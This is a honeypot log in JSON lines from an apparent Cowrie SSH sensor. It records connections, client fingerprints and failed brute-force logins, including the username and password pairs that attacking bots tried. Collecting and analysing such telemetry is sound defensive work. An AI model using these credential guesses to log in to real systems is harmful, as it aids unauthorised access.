{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:42.488386Z","src_ip":"202.51.214.99","session":"af8dd6253188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123$%^","message":"login attempt [root/asd123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:43.503149Z","src_ip":"202.51.214.99","session":"af8dd6253188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:44.751882Z","src_ip":"202.51.214.99","session":"af8dd6253188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":13627,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f9bf6c3b77c","protocol":"ssh","message":"New connection: 113.190.252.123:13627 (159.203.135.109:22) [session: 0f9bf6c3b77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:53.171594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:53.176443Z","src_ip":"113.190.252.123","session":"0f9bf6c3b77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:53.703087Z","src_ip":"113.190.252.123","session":"0f9bf6c3b77c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231qaz","message":"login attempt [root/1231qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:55.333471Z","src_ip":"113.190.252.123","session":"0f9bf6c3b77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:56.862691Z","src_ip":"113.190.252.123","session":"0f9bf6c3b77c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":45232,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b1bba57db8","protocol":"ssh","message":"New connection: 69.48.205.231:45232 (10.17.0.5:22) [session: 74b1bba57db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:57.819541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:57.824461Z","src_ip":"69.48.205.231","session":"74b1bba57db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:57.868525Z","src_ip":"69.48.205.231","session":"74b1bba57db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:58.061543Z","src_ip":"69.48.205.231","session":"74b1bba57db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:11:59.105049Z","src_ip":"69.48.205.231","session":"74b1bba57db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":46264,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c46ba7df6e3","protocol":"ssh","message":"New connection: 103.118.29.129:46264 (10.17.0.5:22) [session: 1c46ba7df6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:01.036746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:01.041723Z","src_ip":"103.118.29.129","session":"1c46ba7df6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:01.283909Z","src_ip":"103.118.29.129","session":"1c46ba7df6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ir","password":"ir","message":"login attempt [ir/ir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:02.272980Z","src_ip":"103.118.29.129","session":"1c46ba7df6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:03.523510Z","src_ip":"103.118.29.129","session":"1c46ba7df6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":58304,"dst_ip":"159.203.135.109","dst_port":22,"session":"556c9e1446b5","protocol":"ssh","message":"New connection: 43.242.203.160:58304 (159.203.135.109:22) [session: 556c9e1446b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:14.452900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:14.539093Z","src_ip":"43.242.203.160","session":"556c9e1446b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:14.763164Z","src_ip":"43.242.203.160","session":"556c9e1446b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gameserver","message":"login attempt [root/gameserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:15.891242Z","src_ip":"43.242.203.160","session":"556c9e1446b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:17.172829Z","src_ip":"43.242.203.160","session":"556c9e1446b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":48514,"dst_ip":"10.17.0.5","dst_port":22,"session":"86af4d67bb0b","protocol":"ssh","message":"New connection: 45.137.172.116:48514 (10.17.0.5:22) [session: 86af4d67bb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:39.688263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:39.693336Z","src_ip":"45.137.172.116","session":"86af4d67bb0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:39.790174Z","src_ip":"45.137.172.116","session":"86af4d67bb0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xhl2g06n","password":"rDsmrHIgoab9w+EfuqeP","message":"login attempt [xhl2g06n/rDsmrHIgoab9w+EfuqeP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:40.206904Z","src_ip":"45.137.172.116","session":"86af4d67bb0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:41.305808Z","src_ip":"45.137.172.116","session":"86af4d67bb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":41928,"dst_ip":"159.203.135.109","dst_port":22,"session":"201b09551968","protocol":"ssh","message":"New connection: 43.242.203.160:41928 (159.203.135.109:22) [session: 201b09551968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:59.752616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:12:59.799132Z","src_ip":"43.242.203.160","session":"201b09551968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:00.047280Z","src_ip":"43.242.203.160","session":"201b09551968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:01.433884Z","src_ip":"43.242.203.160","session":"201b09551968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:02.717495Z","src_ip":"43.242.203.160","session":"201b09551968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":33624,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fd95b60cd12","protocol":"ssh","message":"New connection: 202.51.214.99:33624 (10.17.0.5:22) [session: 4fd95b60cd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:05.015121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:05.021244Z","src_ip":"202.51.214.99","session":"4fd95b60cd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:05.262398Z","src_ip":"202.51.214.99","session":"4fd95b60cd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":40710,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e4353f3973","protocol":"ssh","message":"New connection: 69.48.205.231:40710 (10.17.0.5:22) [session: e6e4353f3973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:06.054638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:06.059179Z","src_ip":"69.48.205.231","session":"e6e4353f3973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:13:06.100431Z","src_ip":"69.48.205.231","session":"e6e4353f3973","protocol":"ssh"}
